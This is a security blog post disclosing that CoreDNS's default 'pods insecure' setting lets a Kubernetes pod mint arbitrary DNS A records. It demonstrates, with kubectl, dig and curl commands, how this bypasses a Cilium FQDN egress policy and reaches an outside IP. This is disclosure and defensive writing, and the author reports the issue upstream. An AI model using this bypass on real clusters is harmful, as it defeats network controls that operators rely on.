Kubernetes' Default CoreDNS Configuration Is *Insecure

datosh1 pts0 comments

DaTosh<br>Kubernetes' Default CoreDNS Configuration is *insecure*

DaTosh Blog

Software Engineering, Security, and Cloud Native Technologies

Kubernetes' Default CoreDNS Configuration Is *Insecure*

Mon, May 18, 2026

4-minute read

CoreDNS is the DNS server that powers most (all?) Kubernetes distributions,<br>ever since it was made the default in v1.13 in December 2018.

Chances are, you&rsquo;ve never heard of or used its predecessor: kube-dns. Lucky for us, CoreDNS still has a config option to remind us. pods insecure is the default configuration option for most (again - all?) Kubernetes distributions, and was introduced as an option to provide &ldquo;backward compatibility with kube-dns&rdquo;. The simple fact that the option&rsquo;s value is insecure should be enough to make us reconsider.

But alas… it is not. So, what does it do? And, what are the implications?

What does it do?

Let&rsquo;s go to our favorite K8s playground, spin up a cluster, and quickly confirm we are working with the insecure configuration:

$ kubectl -n kube-system get cm coredns -oyaml

And indeed we are:

apiVersion: v1<br>kind: ConfigMap<br>data:<br>Corefile:<br>.:53 {<br>errors<br>health {<br>lameduck 5s<br>ready<br>kubernetes cluster.local in-addr.arpa ip6.arpa {<br>pods insecure<br>fallthrough in-addr.arpa ip6.arpa<br>ttl 30<br>prometheus :9153<br>forward . /etc/resolv.conf {<br>max_concurrent 1000<br>cache 30 {<br>disable success cluster.local<br>disable denial cluster.local<br>loop<br>reload<br>loadbalance

As the documentation states, this option forces CoreDNS to &ldquo;always return an A record with IP from request (without checking k8s)&rdquo;. Basically, this gives us the option to mint arbitrary DNS A records. Let&rsquo;s create a pod and have some fun:

kubectl apply -f - apiVersion: v1<br>kind: Pod<br>metadata:<br>name: attacker<br>namespace: default<br>labels:<br>app: attacker<br>spec:<br>containers:<br>- name: attacker<br>image: ubuntu:noble<br>command: ["sleep", "3600"]<br>resources:<br>limits:<br>memory: "256Mi"<br>cpu: "250m"<br>EOF<br>kubectl exec attacker -it -- bash

Inside the pod:

$ apt update && apt install -y curl dnsutils<br>$ dig +short 169-254-169-254.default.pod.cluster.local<br>169.254.169.254

What are the implications?

As the CoreDNS documentation further states, &ldquo;this option is vulnerable to abuse if used maliciously in conjunction with wildcard SSL certs&rdquo;. While this is definitely an issue, I&rsquo;d like to take a different route here.

Let&rsquo;s assume we have Cilium installed in our cluster to handle network policies. Let&rsquo;s further assume we have a network policy like so:

apiVersion: "cilium.io/v2"<br>kind: CiliumNetworkPolicy<br>metadata:<br>name: limit-to-local<br>namespace: default<br>spec:<br>endpointSelector:<br>matchLabels:<br>app: attacker<br>egress:<br># Rule 1: Allow DNS resolution (Required for FQDN rules to work)<br>- toEndpoints:<br>- matchLabels:<br>"k8s:io.kubernetes.pod.namespace": kube-system<br>k8s-app: kube-dns<br>toPorts:<br>- ports:<br>- port: "53"<br>protocol: UDP<br>rules:<br>dns:<br>- matchPattern: "*"<br># Rule 2: Allow internal traffic only, or...?<br>- toFQDNs:<br>- matchPattern: "**.cluster.local"<br>toPorts:<br>- ports:<br>- port: "443"<br>protocol: TCP<br>- port: "80"<br>protocol: TCP

One would assume that this policy prevents any outbound network traffic… and indeed it does:

$ kubectl exec attacker -it -- curl ifconfig.me<br>203.0.113.0

$ kubectl apply -f netpol.yaml<br>ciliumnetworkpolicy.cilium.io/limit-to-local created

$ kubectl exec attacker -it -- curl ifconfig.me<br>**cricket noises**

Let&rsquo;s check which IP this is trying to connect to:

$ kubectl exec attacker -it -- curl -v ifconfig.me<br>* Host ifconfig.me:80 was resolved.<br>* IPv6: 2600:1901:0:b2bd::<br>* IPv4: 34.160.111.145

If we show Cilium that this IP belongs to *.cluster.local, it will generously let us pass:

$ kubectl exec attacker -it -- dig +short 34-160-111-145.default.pod.cluster.local<br>34.160.111.145<br>$ kubectl exec attacker -it -- curl ifconfig.me<br>203.0.113.0

What happened here?

Cilium keeps a list of all the IPs and FQDNs it has seen and will make policy decisions based on these values.

$ kubectl -n kube-system exec cilium-vvlqz -- cilium fqdn cache list<br>Endpoint Source FQDN TTL ExpirationTime IPs<br>198 connection 34-160-111-145.default.pod.cluster.local. 0 2026-05-18T20:45:11.234Z 34.160.111.145<br>198 connection ifconfig.me. 0 2026-05-18T20:45:11.234Z 34.160.111.145

I have reported this to the Cilium project, and they have improved their documentation to mitigate this issue.

Info

The cache is local to the node. Make sure to run the cilium command in a cilium pod that shares the node with your attacker pod.

Conclusion

All of this is to say: It has been 8 years since we made the switch from kube-dns to CoreDNS. I think it is time to also make the switch from the insecure compatibility flag to verified and make our cluster DNS a little bit more secure.

I have raised this issue during the SIG Security meeting in April, and raised an issue with the CoreDNS project. I hope that this blog post servers as one more reason to start changing the default to verified in every Kubernetes...

default cluster local attacker coredns kubectl

Related Articles